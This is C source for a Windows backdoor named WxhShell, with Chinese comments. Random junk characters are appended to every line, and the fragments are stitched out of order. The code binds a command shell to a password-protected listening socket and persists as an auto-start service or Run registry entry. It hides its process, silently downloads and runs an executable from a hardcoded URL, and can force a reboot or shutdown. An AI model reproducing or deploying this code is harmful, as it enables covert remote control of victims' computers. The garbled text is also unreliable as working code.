    if(Boot(SHUTDOWN)) ;;2XLkWu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5qt]~v%y  
    else { zFN:C()ig  
    closesocket(wsh); /$|C s  
    ExitThread(0); 4;<?ec(dc  
    } W.r0W2))(  
    break; <ZSH1~<{6  
    } "4<RMYQ  
  // 获取shell Qo4]_,kR  
  case 's': { po4seW!  
    CmdShell(wsh); o:.={)rX  
    closesocket(wsh); 5@ %$M$E  
    ExitThread(0); MT [V1I{LV  
    break; IGV@tI  
  } Nv,1F  
  // 退出 -= H* (M  
  case 'x': { 07[A&B!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }TzMWdT  
    CloseIt(wsh); .__XOd} K  
    break; @i'RIL}  
    } Aq yR+  
  // 离开 IlVz 5#R  
  case 'q': { e=<knKc Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GPONCL8(0  
    closesocket(wsh); E2 Q[  
    WSACleanup(); Ew5(U`]  
    exit(1); j1Fy'os"!  
    break; uUB,OmLN  
        } v*Ds:1"H-I  
  } t3|If@T  
  } k@L},Td  
/BjM&v(5/  
  // 提示信息 12`q9Io"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4zkn~oy  
} _PLY<i2vr  
  } {_&'tXL  
i ?&t@"'  
  return; twv|,kM  
} 48hu=,)81*  
=iW!Mq  
// shell模块句柄 5%BexIk  
int CmdShell(SOCKET sock) [fx1H~T<  
{ 9^6E> S{=  
STARTUPINFO si; QkS~~|0EI>  
ZeroMemory(&si,sizeof(si)); &_Ze@Ir-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3=5K7 F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K+ZJSfO6  
PROCESS_INFORMATION ProcessInfo; d[E~}Dq3#  
char cmdline[]="cmd"; }Qyuy~-&^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~P8 6=Vw  
  return 0; ^,*ED Yz  
} ` Fnl<C<  
t2skg  
// 自身启动模式 !~Gx@Ro  
int StartFromService(void) UF0W%Z  
{ ,n<t':-  
typedef struct 'n4Ro|kA  
{ 'w3BSaJi  
  DWORD ExitStatus; $0$'co"  
  DWORD PebBaseAddress; B~+3<#B  
  DWORD AffinityMask; +Z> Y//  
  DWORD BasePriority; =r"-Pm{  
  ULONG UniqueProcessId; &|yQwNA*a"  
  ULONG InheritedFromUniqueProcessId; R[KF${X4  
}   PROCESS_BASIC_INFORMATION; zmH8^:-x  
 ?QxI2J  
PROCNTQSIP NtQueryInformationProcess; _&V%idz!0  
&.XlXihnt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yHhx- `  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Le;;Yd}f  
x93h{K f  
  HANDLE             hProcess; Zk,` Iq  
  PROCESS_BASIC_INFORMATION pbi; P 4Vi~zMX  
<7'`N\a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a%| I'r  
  if(NULL == hInst ) return 0; FvYgpbEZ  
|osu4=s|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1 aWzd[i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $J6Pv   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t/55tL  
!%MI9Ok  
  if (!NtQueryInformationProcess) return 0; @Wgd(Ezd  
Lzmdy0!'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H#H@AY3Y  
  if(!hProcess) return 0; z=mH\!  
Z|3 fhaT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (-S<9u-r  
mm}y/dO~}  
  CloseHandle(hProcess); Y-2IAJHS8  
],`xd_=]=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7egE."  
if(hProcess==NULL) return 0; aa|u *afWQ  
UWU(6J|Fk  
HMODULE hMod; q4u,pm,@  
char procName[255]; w O H{L  
unsigned long cbNeeded; 0s9-`nHen|  
y7CC5S ?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5k:SD7^b  
CD^C}MB  
  CloseHandle(hProcess); YcQ$nZAU  
grD[7;1~:)  
if(strstr(procName,"services")) return 1; // 以服务启动 TF]bmM})0  
*JnY0xP  
  return 0; // 注册表启动 J?6.yL;  
} 7Qdf#DG  
/ILj}g'  
// 主模块 OlU')0Y  
int StartWxhshell(LPSTR lpCmdLine) ->Z9j(JU  
{ 1Vf?Rw  
  SOCKET wsl; v C23  
BOOL val=TRUE; HQp\0NC]  
  int port=0; F}1h  
  struct sockaddr_in door; 7 bV(eV  
8y:/!rRN  
  if(wscfg.ws_autoins) Install(); ;x<5F+b  
mJxr"cwHl  
port=atoi(lpCmdLine); (vX) <Z !  
Wd`*<+t]  
if(port<=0) port=wscfg.ws_port; 0Q7teXRM  
( p(/  
  WSADATA data; )Ehi 8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LNz  
./ ]xn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q};n%&n&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fe!eZiE  
  door.sin_family = AF_INET; ]& 8c 45c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~];r{IU  
  door.sin_port = htons(port); 'FNnFm  
$-D}y:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^fiJxU  
closesocket(wsl); GLO%>&  
return 1; y+\kZIqX  
} ]z5kYU&  
8H'ybfed  
  if(listen(wsl,2) == INVALID_SOCKET) { DC samOA~  
closesocket(wsl); *S xDwN  
return 1; awXK9}.  
} +3yG8  
  Wxhshell(wsl); $e~MKLd  
  WSACleanup(); N#``(a  
?rm3Iac0S  
return 0; _:N=  
eOoqH$ i  
} i)iK0g"2  
bO i-QD  
// 以NT服务方式启动 3S5`I9I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ! k[JP+;  
{ gt(^9t;  
DWORD   status = 0; Pz^C3h$5_  
  DWORD   specificError = 0xfffffff; b(IZ:ekZ5  
(himx8Uml2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <x8I<K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &4O2uEW0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YpOcLxFL  
  serviceStatus.dwWin32ExitCode     = 0; 5cvvdO*C0  
  serviceStatus.dwServiceSpecificExitCode = 0; H#S`m  
  serviceStatus.dwCheckPoint       = 0; Y\,aJL$  
  serviceStatus.dwWaitHint       = 0; ["O_ Phb|  
ZveNe~D7C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `q9n`h1  
  if (hServiceStatusHandle==0) return; 8J#U=qYei  
/[=Yv!  
status = GetLastError(); .@Lktc  
  if (status!=NO_ERROR) uTdx`>M,O  
{ yhkKakg,)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o;9 G{Xj3@  
    serviceStatus.dwCheckPoint       = 0; o)bKs>` U  
    serviceStatus.dwWaitHint       = 0; SK5_^4  
    serviceStatus.dwWin32ExitCode     = status; 1> v(&;K  
    serviceStatus.dwServiceSpecificExitCode = specificError; <{+U- ^rzR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w%?Zb[!&  
    return; 5tI#UBha  
  } zv7)JH7EV&  
\0W0o5c$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v <Ywfb  
  serviceStatus.dwCheckPoint       = 0; Jc7}z:UB  
  serviceStatus.dwWaitHint       = 0; ?8do4gT+1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ECyG$j0  
} _l"=#i@L  
rB|1<jR  
// 处理NT服务事件,比如:启动、停止 pO/vD~C>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fN1b+ d~*6  
{ /-knqv  
switch(fdwControl) 6HguZ_jC  
{ soRY M  
case SERVICE_CONTROL_STOP: n $lVmQ6  
  serviceStatus.dwWin32ExitCode = 0; x5Ue"RMl+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :GN++\ 1pw  
  serviceStatus.dwCheckPoint   = 0; !}5f{,.RO  
  serviceStatus.dwWaitHint     = 0; 74 W Ky  
  { }rvX}   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =9Vo[  
  } hx*4xF  
  return; !4a#);`G  
case SERVICE_CONTROL_PAUSE: S"VO@)d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G|*&owJ  
  break; 67;6nXG0K  
case SERVICE_CONTROL_CONTINUE: l^XOW- ;u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; No8-Hm  
  break; d A'0'M  
case SERVICE_CONTROL_INTERROGATE: Bq;GO  
  break; 3-=AmRxW't  
}; +I\54PBws  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Z+**>1J  
} PqIskv+  
bU/4KZ'-^  
// 标准应用程序主函数 >=d 5Scix  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2FW"uYA;6  
{ K^6d_b&  
(Hmm^MV)  
// 获取操作系统版本 [7Q%c!e$*  
OsIsNt=GetOsVer(); {{Qbu }/@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `T+w5ONn  
qw*) R#=  
  // 从命令行安装 ?yxQs=&-q~  
  if(strpbrk(lpCmdLine,"iI")) Install(); )@p?4XsT4J  
.R@s6}C`}=  
  // 下载执行文件 aZ|?i }  
if(wscfg.ws_downexe) { em95ccs'-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =W;e9 6#  
  WinExec(wscfg.ws_filenam,SW_HIDE); ubZJUm  
} bEB2q\|Je  
ie11syhV"  
if(!OsIsNt) { c5|sda{  
// 如果时win9x,隐藏进程并且设置为注册表启动 |g >Q3E  
HideProc(); )+"5($~  
StartWxhshell(lpCmdLine); aM xd"cTzx  
} ?K;l 5$?%  
else jU kxA7 }}  
  if(StartFromService()) 1l/t|M^I  
  // 以服务方式启动 W mbIz[un  
  StartServiceCtrlDispatcher(DispatchTable); '=O1n H<  
else 8{]nS8i  
  // 普通方式启动 +~BP~  
  StartWxhshell(lpCmdLine); 7x=4P|(\}  
@)x*62r+  
return 0; ,a?oGi  
} ^Zp  
5]GgjQ  
-Bl^TT  
BsA'r+ho?H  
=========================================== ]kXW eY<  
a'`?kBK7`U  
Ch3MwM5]  
]DU?N7J  
_Rb2jq(&0  
<[D>[  
" |AacV  
RJUIB  
#include <stdio.h> Kj"X!-  
#include <string.h> +zd/<  
#include <windows.h> gq;>DY]   
#include <winsock2.h> 2NJ\`1HZ\  
#include <winsvc.h> Mo<q(_ZeRP  
#include <urlmon.h> c_CVZR?  
*Wvk~  
#pragma comment (lib, "Ws2_32.lib") Bu&9J(J1  
#pragma comment (lib, "urlmon.lib") $=Ns7Sbup  
zd)QCq  
#define MAX_USER   100 // 最大客户端连接数 ?G,gPb  
#define BUF_SOCK   200 // sock buffer .j&#  
#define KEY_BUFF   255 // 输入 buffer Qclq^|O0  
Y8^ WuN$  
#define REBOOT     0   // 重启 j#2E Q  
#define SHUTDOWN   1   // 关机 u]7wd3(  
dWQB1Y*N  
#define DEF_PORT   5000 // 监听端口 !V(r p80  
s*_fRf:  
#define REG_LEN     16   // 注册表键长度 1og+(m`BL  
#define SVC_LEN     80   // NT服务名长度 G&Dl($  
5 2 Qr  
// 从dll定义API (hdu+^Qj=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SASLeGaV  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jI0gf&v8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c|`$ h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gC7Po  
_{; _wwz  
// wxhshell配置信息 9P ACXW0  
struct WSCFG { hdi0YL  
  int ws_port;         // 监听端口 lZ7 $DGe  
  char ws_passstr[REG_LEN]; // 口令 x{8h3.ZQ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0M roHFh9`  
  char ws_regname[REG_LEN]; // 注册表键名 Z~QLjv&$/r  
  char ws_svcname[REG_LEN]; // 服务名 rX /'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8Z_ 4%vUBg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <K<#)mcv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j)Ak:l%a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4bp})>}jB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q K#wsw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nw% 9Qw  
p/RT*?<   
}; OA=~ i/n~  
})P!7t  
// default Wxhshell configuration )gSqO{Z  
struct WSCFG wscfg={DEF_PORT, !`RMXUV  
    "xuhuanlingzhe", NN=^4Xpc:  
    1, KK3iui  
    "Wxhshell", GF8wKx#J  
    "Wxhshell", __Ksn^I   
            "WxhShell Service", "O0xh_Nr  
    "Wrsky Windows CmdShell Service", 8{/.1:  
    "Please Input Your Password: ", D>7J[ Yxg-  
  1, T}=^D=  
  "http://www.wrsky.com/wxhshell.exe", OqDP{X:  
  "Wxhshell.exe" Jy% ?"wn  
    }; OR!W3 @  
![_0GFbT  
// 消息定义模块 xQDQgvwa  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HnKgD:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _fu <`|kc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bKGX> %-  
char *msg_ws_ext="\n\rExit."; H!Q72tyo  
char *msg_ws_end="\n\rQuit."; d?J&mLQ6  
char *msg_ws_boot="\n\rReboot..."; ;>jEeIlT  
char *msg_ws_poff="\n\rShutdown..."; 9$z$yGjl  
char *msg_ws_down="\n\rSave to "; Vc;[0iB  
Tn1V+)  
char *msg_ws_err="\n\rErr!"; }.E^_`  
char *msg_ws_ok="\n\rOK!"; &e:+;7  
abT,"a\h  
char ExeFile[MAX_PATH]; =WW5H\?  
int nUser = 0; $.,B2}'  
HANDLE handles[MAX_USER]; hEu_mw#  
int OsIsNt; qf\W,SM  
?.%dQ0  
SERVICE_STATUS       serviceStatus; r>FwJm!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |,:p[Oy  
+llb{~ZN  
// 函数声明 `62v5d*>a  
int Install(void); 4Ex&AR8  
int Uninstall(void); ]q{_i   
int DownloadFile(char *sURL, SOCKET wsh); QCb%d'_w+  
int Boot(int flag); uf#h~;B  
void HideProc(void); )]FXUz|;  
int GetOsVer(void); &`v?oN9$  
int Wxhshell(SOCKET wsl); UAhWJ$(C  
void TalkWithClient(void *cs); F c5t,P  
int CmdShell(SOCKET sock); 8\{z>y  
int StartFromService(void); dB[4NT  
int StartWxhshell(LPSTR lpCmdLine); (~zu4^9w  
2<I=xWwFA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f%@~|:G:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =dDPQZEin  
`sT;\  
// 数据结构和表定义 lMGO4U[z  
SERVICE_TABLE_ENTRY DispatchTable[] = m","m  
{ jL^@;"/XhC  
{wscfg.ws_svcname, NTServiceMain}, czD" mI!  
{NULL, NULL} {<gv1Yht  
}; >x;\H(g  
aF^N  Ye  
// 自我安装 94ruQ/  
int Install(void) $$NWN?H~  
{ ~>u| 7 M$(  
  char svExeFile[MAX_PATH]; 7GsKD=bl]  
  HKEY key; ~ W8X g)  
  strcpy(svExeFile,ExeFile); IoLi7NKw  
s__xBY  
// 如果是win9x系统,修改注册表设为自启动 sV a0eGc  
if(!OsIsNt) { \Dq'~ d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rN} 8~j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KoNu{TJ  
  RegCloseKey(key); N~8H\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }-Mg&~e`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d2#NRqgQ  
  RegCloseKey(key); e7@ m i  
  return 0; Mt-r`W3 q  
    } 1l#46?]~  
  } j@z IJ  
} HbA/~7  
else { ylZQwICk  
$YEm(:v$  
// 如果是NT以上系统,安装为系统服务 -9t"$)&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mYgfGPF`  
if (schSCManager!=0) ErK1j  
{ -t|/g5.w_  
  SC_HANDLE schService = CreateService 0d_)C>gcF  
  ( l5Bm.H_  
  schSCManager, PO"lY'W.U  
  wscfg.ws_svcname, 'l.tV7  
  wscfg.ws_svcdisp, 9hIKx:XCg  
  SERVICE_ALL_ACCESS, 49QsT5b)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F*PhV|XU  
  SERVICE_AUTO_START, -|m3=#  
  SERVICE_ERROR_NORMAL, S"h;u=5it  
  svExeFile, r$={_M$  
  NULL, Th9V8Rg+E  
  NULL, W`G bo uxd  
  NULL, ?^%[*OCCC!  
  NULL, "frZ%mv  
  NULL bzNnEH`^]  
  ); ?`U_|Yo  
  if (schService!=0) /fp8tL2Y  
  { 3E|||3rf  
  CloseServiceHandle(schService); fI)XV7,X  
  CloseServiceHandle(schSCManager); bN. G%1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O0#[hY,  
  strcat(svExeFile,wscfg.ws_svcname); |})s0TU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  lrv-[}}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0#J~@1Gf  
  RegCloseKey(key); 1z6aMd6.  
  return 0; Z\IM~-  
    } .pUB.l$)  
  } lw9jk`7^  
  CloseServiceHandle(schSCManager); ZxnPSA@%  
} 'lZlfS:Z8  
} ES+ CAwqf  
pKc!sd C  
return 1; 8/aJ4w[A  
} =IMmtOvJ  
_h-agn4[i  
// 自我卸载 3<r7"/5  
int Uninstall(void) ]XEyG7D  
{ ; CCg]hX  
  HKEY key; FLMiW]?x  
F6q=W#~  
if(!OsIsNt) { VxN#\D i&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { as:l1S   
  RegDeleteValue(key,wscfg.ws_regname); &}p\&4  
  RegCloseKey(key); L }*o8l`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 71nZi`AR  
  RegDeleteValue(key,wscfg.ws_regname); f 3H uT=n  
  RegCloseKey(key); oDA'$]UL  
  return 0; gGVt ( ^  
  } #H~55))F  
} ,/+Mp  
} 0vqH-)}  
else { y$R8J:5f  
9A.NM+u7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]20:8l'  
if (schSCManager!=0) M +OVqTsFU  
{ ?C2(q6X+s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FAnz0p+t  
  if (schService!=0) Bo "9;F  
  { 3%)cUkD  
  if(DeleteService(schService)!=0) { `Vw G]2 I  
  CloseServiceHandle(schService); :g|.x  
  CloseServiceHandle(schSCManager); FvT4?7-  
  return 0; NRx 7S 9W  
  } v)du]  
  CloseServiceHandle(schService); 9Ad%~qciY  
  } 1!1JT;gG^9  
  CloseServiceHandle(schSCManager); |Gz<I  
} ompr})c  
} 7I[[S!((s  
aE07#  
return 1; jI8`trD  
} @:zC!dR)G  
s1_Y~<y X  
// 从指定url下载文件 $JOz7j(  
int DownloadFile(char *sURL, SOCKET wsh) ,5c7jZ5H  
{ g&g:H H :  
  HRESULT hr; RDbNC v#  
char seps[]= "/"; _E?tVx.6  
char *token; */K[B(G  
char *file; rd->@s|4mT  
char myURL[MAX_PATH]; En&7e  
char myFILE[MAX_PATH]; Hi[lN7ma8  
!hQ-i3?qm  
strcpy(myURL,sURL);  GhfhR^P  
  token=strtok(myURL,seps); wetu.aMp  
  while(token!=NULL) gaXo)oS  
  { i`@cVYsL  
    file=token; Lmjd,t  
  token=strtok(NULL,seps); Gk5'|s  
  } ]#M"|iTR  
e2=}qE7  
GetCurrentDirectory(MAX_PATH,myFILE); \5}PF+)|  
strcat(myFILE, "\\"); ;b [>{Q;  
strcat(myFILE, file); )2).kL>  
  send(wsh,myFILE,strlen(myFILE),0); bnfeZR1m_  
send(wsh,"...",3,0); : _Y^o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \xS X'/G  
  if(hr==S_OK) h:pgN,W}  
return 0; PNAvT$0LaZ  
else rmw}Ui"  
return 1; -J63'bb7oi  
'n7|fjX?Y  
} BPkMw'a:  
s&ox%L4  
// 系统电源模块 &G%AQpDW5  
int Boot(int flag) i}LQ}35@  
{ qE2<vjRg  
  HANDLE hToken; R,D/:k'~k  
  TOKEN_PRIVILEGES tkp; '~ b  
Ut~YvWc9  
  if(OsIsNt) { -!+i ^r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z|@-=S(.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lJAzG,f  
    tkp.PrivilegeCount = 1; ;fqp!|J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LF.i0^#J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \_.'/<aQ  
if(flag==REBOOT) { mL1ZSX o!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z%o.kd"  
  return 0; 6'*6tS  
} wOL%otEf  
else { 53uptQ{   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T|\sN*}\8J  
  return 0; z]g#2xD2  
} Jy:@&c  
  } n2*Ua/J-8  
  else { CxaI@+  
if(flag==REBOOT) { 7Z]?a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %tkqWK:  
  return 0; qX5]\nX&G  
} Pq~#SxA~  
else { W\<OCD%X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rMG[,:V  
  return 0; WClprSl8  
} {C`M<2W]  
} =KR^0<2r  
GX19GI@k  
return 1; ~C 3 Y/}  
} q#Otp\f  
q:up8-LAr  
// win9x进程隐藏模块 !pe[H*Cy  
void HideProc(void) XKp(31])  
{ 7202N?a {  
r8R7@S2V'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n)cc\JPQ  
  if ( hKernel != NULL ) 71Q`B#t0'Z  
  { dT1UYG}>j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~xam ;]2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G8F;fG N  
    FreeLibrary(hKernel); e{2Za   
  } 0F!Uai1  
or ~@!  
return; 7g8\q@',  
} im>/$!&OyI  
`o_i+?E  
// 获取操作系统版本 i]zh8|">  
int GetOsVer(void) x?6^EB|@  
{ +Rd\*b  
  OSVERSIONINFO winfo; RU.j[8N$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8fvKVS  
  GetVersionEx(&winfo); 2hntQ1[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tF*Sg{:bCa  
  return 1; #@Tm5z  
  else ; mV>k_AG  
  return 0; pkIQ,W{Ke  
} L) _ VdB  
x6T$HN/2  
// 客户端句柄模块 %xx;C{g;a  
int Wxhshell(SOCKET wsl) vRmzjd~  
{ !N:w?zsp  
  SOCKET wsh; /jaO\t'q  
  struct sockaddr_in client; ?~^p:T  
  DWORD myID; " d~M \Az  
K~&3etQF  
  while(nUser<MAX_USER) BR6HD7G  
{ z,qNuv"W  
  int nSize=sizeof(client); :'H}b*VWx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -K^(L #G  
  if(wsh==INVALID_SOCKET) return 1; muK)Y w[#N  
UWCm:eRQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oPAc6ObOV~  
if(handles[nUser]==0) ;rh =63g  
  closesocket(wsh); i+-=I+L3  
else ^y&2N  
  nUser++; kYS\TMt,C  
  } u8~5e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l9 rN!Q|  
>Y3zO2Cr  
  return 0; z1e+Ob&  
}  Mv%B#J  
A[88IMZs  
// 关闭 socket GO#eI]>/r  
void CloseIt(SOCKET wsh) g[{rX4~|  
{ sQzr+]+#9  
closesocket(wsh); iQh:y:Jo1&  
nUser--; p{V(! v|  
ExitThread(0); sYTToanA$?  
} 78mJ3/?rC  
^> d"D  
// 客户端请求句柄 Zg])uM]\2i  
void TalkWithClient(void *cs) 3v~}hV/RUy  
{ )6he;+  
w/0;N`YB  
  SOCKET wsh=(SOCKET)cs; 9 Xh<vh8&  
  char pwd[SVC_LEN]; xNVSWi,  
  char cmd[KEY_BUFF]; n<[H!4  
char chr[1]; -fz(]d  
int i,j; {>&M:_`k  
'xOH~RlE  
  while (nUser < MAX_USER) { :)Nk  
t1l4mdp  
if(wscfg.ws_passstr) { Gm\jboef]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zt )WX9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vns Mh  
  //ZeroMemory(pwd,KEY_BUFF); N jA\*M9  
      i=0; L-3wez;hm  
  while(i<SVC_LEN) { F.R0c@&W  
aOW~! f/M  
  // 设置超时 \?k"AtL  
  fd_set FdRead; tUFXx\p  
  struct timeval TimeOut; (5^SL Y  
  FD_ZERO(&FdRead); <,'^dR7,  
  FD_SET(wsh,&FdRead); j62oA$z  
  TimeOut.tv_sec=8; ~qW"v^<  
  TimeOut.tv_usec=0; MB5X$5it  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Of$gs-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wMiRN2\^  
zL:k(7E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %t-}dC&  
  pwd=chr[0]; H`U>ZJ.  
  if(chr[0]==0xd || chr[0]==0xa) { 6FI`0j=~  
  pwd=0; iHOvCrp+X  
  break; #mv~1tL  
  } 4vPKDd  
  i++; cT^x^%  
    } B\7 80p<  
O%s?64^U  
  // 如果是非法用户,关闭 socket cy_zEJjbD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^t)alNGos  
} fPsUIlI/A  
CY.i0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v/C*?/ ~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^$\#aTyFK  
{[FJkP2l  
while(1) { 8F`799[p  
}KL( -Ui$  
  ZeroMemory(cmd,KEY_BUFF); jowR!rqf  
& MfnH  
      // 自动支持客户端 telnet标准   P0szY"}  
  j=0; "CWqPcr  
  while(j<KEY_BUFF) { T`^LWc"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y +c 3#  
  cmd[j]=chr[0]; Os|F  
  if(chr[0]==0xa || chr[0]==0xd) { NIOWjhi[Jn  
  cmd[j]=0; 4}=Z+tDu>  
  break; d[Rs  
  } h`p9H2}0  
  j++; q"^T}d d,  
    } h]okY49hY  
 *}`D2_uP  
  // 下载文件 TYr"yZ([  
  if(strstr(cmd,"http://")) { fyt`$y_E[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5},kXXN{+  
  if(DownloadFile(cmd,wsh)) k;y5nXIlN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v/DWy(CC  
  else 5-X(K 'Q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  'x\{sv  
  } be{tyV  
  else { g JMv  
VYN1^Tp  
    switch(cmd[0]) { e$@azi1  
  t12 xPtN1  
